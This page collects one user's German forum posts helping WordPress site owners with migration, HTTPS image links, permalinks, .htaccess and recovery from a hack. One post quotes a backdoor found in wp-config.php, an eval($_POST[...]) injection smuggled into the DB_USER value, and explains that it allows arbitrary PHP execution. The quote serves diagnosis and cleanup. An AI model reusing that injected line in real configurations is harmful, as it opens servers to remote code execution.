Beiträge von b3317133

    Gibt einfach mal "WordPress Umzug" oder "WordPress SSL" oder "WordPress https" in die Forumsuche oder bei Google o.ä. ein, das ist offenbar noch nicht passiert.

    Weiterhin haben die meisten Provider Anleitungen auf ihren Seiten, für das Auffinden der Anleitung hilft auch gern der Support Deines Providers weiter.

    Die Seite ist offenbar nicht korrekt vom Testserver [plain]http://wordpress.p380847.webspaceconfig.de/[/plain] auf den Liveserver umgezogen worden, Bilderlinks zeigen auf den alten Server. Weiterhin werden auch noch Bilder von [plain]http://maketa.co.uk/..[/plain] eingebunden. Dadurch zeigen manche Browser die Bilder nicht an, da der Liveserver mit https/SSL läuft.

    Lies nochmal etwas genauer nach, was Du bei einem Umzug von WordPress wie umstellen musst, offenbar hat die o.g. Anleitung (Link bitte) nicht funktioniert.

    Und schalte erstmal noch alle Caches und "Optimierungen" v.a. z.B. LazyLoad von Bildern ab, bis die Seite korrekt funktioniert.

    Wenn die .htaccess beschreibbar ist, würde nach der Umstellung auf was anderes als "Einfach" der Text von Basic WP hier drinstehen. Wenn dann immer noch 404 Links erscheinen, fehlt ggf. das mod_rewrite Modul in der Serverkonfiguration.

    Das ist kein Hexenwerk für Serverbetreiber, wie gesagt, auf jedem Standardserver bei sonstigen Hostings alles vorhanden und nutzbar.

    Wenn das Umschalten der Permalinks auf was anderes als "Einfach" einen 404 Fehler erzeugt, ist die Datei .htaccess nicht beschreibbar oder wird vom Server nicht beachtet.

    Das kann vielerlei Gründe haben, falsche Dateirechte, falsche Serverkonfiguration, usw.

    Wende Dich an den "Dienstleister" oder suche einen neuen bei Dir in der Nähe oder z.B. über die Jobbörse hier im Forum.

    Am Rande, bei billigsten Massenhostern wie strato oder ionos oder allinkl usw. funktioniert das ohne sonstige Anpassungen...

    Was genau hast Du wo geändert? Bitte die Fragen beantworten.

    Bei der von mir o.g. Seite "Für Kinder und Jugendliche" ist nach wie vor Home als Elternseite eingestellt. Sie ist im Screenshot nicht vorhanden.

    Weiterhin wäre ein Screenshot der Seite "Einstellungen > Permalinks" praktisch, die sind offenbar weiter auf "Einfach" eingestellt, bekomme hier nur Links mit /?page_id=209 o.ä. angezeigt, keine "sprechenden" Links...

    Wenn der "Dienstleister" die Installation mit diesen Einstellungen gemacht hat, dann wäre er der Ansprechpartner für die unerwünschte Linkstruktur, er wurde vermutlich dafür bezahlt, also sollte er auch liefern...

    Die .htaccess ist leer weil "Einstellungen > Permalinks" auf "Einfach" gestellt ist.

    Wenn "home" in der Seitenstrukur erscheint, liegt das z.B. bei Dir daran, dass offenbar die "Home" Seite als "Elternseite" bei den weiteren Seiten eingerichtet wurde, sieht man z.B. auch in den sog. Body Classes (oder über die REST-API), hier ein HTML-Quellcode Auszug der Seite "Für Kinder und Jugendliche":

    [FONT=Courier New]<body class="page-template page-template-elementor_header_footer page page-id-209 page-parent [COLOR=#ff0000]page-child parent-pageid-2[/COLOR] wp-custom-logo ...[/FONT]

    Wende Dich an die Person, die die Seitenstruktur eingerichet hat bevor Du da was änderst. Oft wird diese Struktur von WordPress-Anfängern fälschlicherweise genutzt, um das autom. erstellte Menü dadurch "passend zu machen" o.ä.

    Weiterhin fordere sog. sFTP oder FTP-Zugangsdaten von Deinem Hostinganbieter an, damit Du weitere Dinge selbst einsehen kannst.

    Hört sich gesamt nach einem Hack an.

    Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben.

    Alternativ wende Dich an die Person, die den Website eingerichtet hat oder suche jemanden für eine Ursachensuche und Bereinigung z.B. über die Jobbörse hier im Forum.

    Die Warnung bzgl. minor behebst Du in der wp-config.php indem Du statt jetzt
    [FONT=Courier New]
    .. , minor );[/FONT]

    neu mit Hochkommas
    [FONT=Courier New]
    .. , 'minor' );
    [/FONT]
    dort reinschreibst. Das findet man bei alten OneClick-Installationen manchmal falsch eingetragen..

    Hat der Admin auf der Seite denn schon mal wie gewohnt funktioniert? Was ist seitdem passiert? Was wurde gemacht?

    Sind generell irgendwelche Plugins installiert? Wenn ja, welche?

    Ändert sich was mit einem Standard-Theme wie Twenty Nineteen? Kannst Du das Theme umstellen?

    Was steht im Error-Log des Servers? Die Error Logs bei Strato stehen üblicherweise unter Datenbanken & Webspace -> Statistik -> Logfiles (oben) -> Error-Logfile anzeigen (Button). Exemplarisch hier ein Screenshot wie man da hinkommt.

    Weiterhin ist dort PHP Boost aktiv? Falls ja, was passiert, wenn Du das deaktivierst?

    Und probiere mal, bei Deiner Testseite (die man im Link zu "akualisiere jetzt" sehen kann) unter Einstellungen > Permalinks was anderes als "Einfach" einzustellen, geht das?

    Für eigene Probleme in Zukunft eigene Threads erstellen, in der Regel sind Lösungen völlig andere als in bestehenden alten Threads.

    Ok. War dann wohl schon vergleichsweise älter, denn dieses "Injection"-Problem ist offenbar schon eine Weile bekannt/behoben.

    Über die o.g. Backdoor kann sich übrigens alles Mögliche eingenistet haben, ein kompletter Abgleich aller Ordner und Dateien des gesamten Webspace mit sauberen Versionen und neue Benutzerkennwörter sind daher dringend anzuraten.

    Generell, nach einer Duplicator-Installation sollte durch diverse Hinweise und Mechanismen nach dem Login eigentlich auf das nötige Bereinigen/Entfernen der Installer-Reste hingewiesen worden sein, sowas sollte man beachten.

    Entweder Du machst selbst exakt das im o.g. Link beschriebene "weitere Vorgehen" oder Du lässt einen Fachmann ran, der das für Dich macht, poste eine entspr. Anfrage in der Jobbörse im Forum, dann bekommst Du sicher Angebote.

    Ein (oder auch mehrere) klassische(r) Trojaner bzw. Backdoor.

    Die zu klärende Frage ist, wie bzw. wodurch wird diese Datei generiert und wie erfolgen die Anpassungen in [FONT=Courier New]wp-config.php[/FONT]

    Die Zeile mit [FONT=Courier New]define('DB_USER', 'c[COLOR=#ff0000]');eval($_POST['earvsqqsv']);//[/COLOR]');[/FONT] deutet auf eine Injection-Möglichkeit bei der Eingabe des Datenbankbenutzers hin, der rot markierte Bereich gehört da nicht hin und ermöglicht dann in der Folge das Ausführen von beliebigem externen PHP-Code.

    Der ganze Server ist als kompromitiert zu betrachten.

    Das Wichtigste wäre das Feststellen und Beseitigen der Sicherheitslücke, sonst passiert das immer wieder.

    Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben.

    Alternativ wende Dich an die Person, die den Website eingerichtet hat oder suche jemanden für eine Ursachensuche und Bereinigung z.B. über die Jobbörse hier im Forum.

    Herausgefunden nach knapp 10 Minuten durch die Browser-Konsole und etwas Erfahrung mit gängigen WordPress- und anderen CMS- oder Server-Problemen...

    ..beim nächsten Mal einfach den Link posten, wenn man danach gefragt wird, dann geht vieles viel schneller.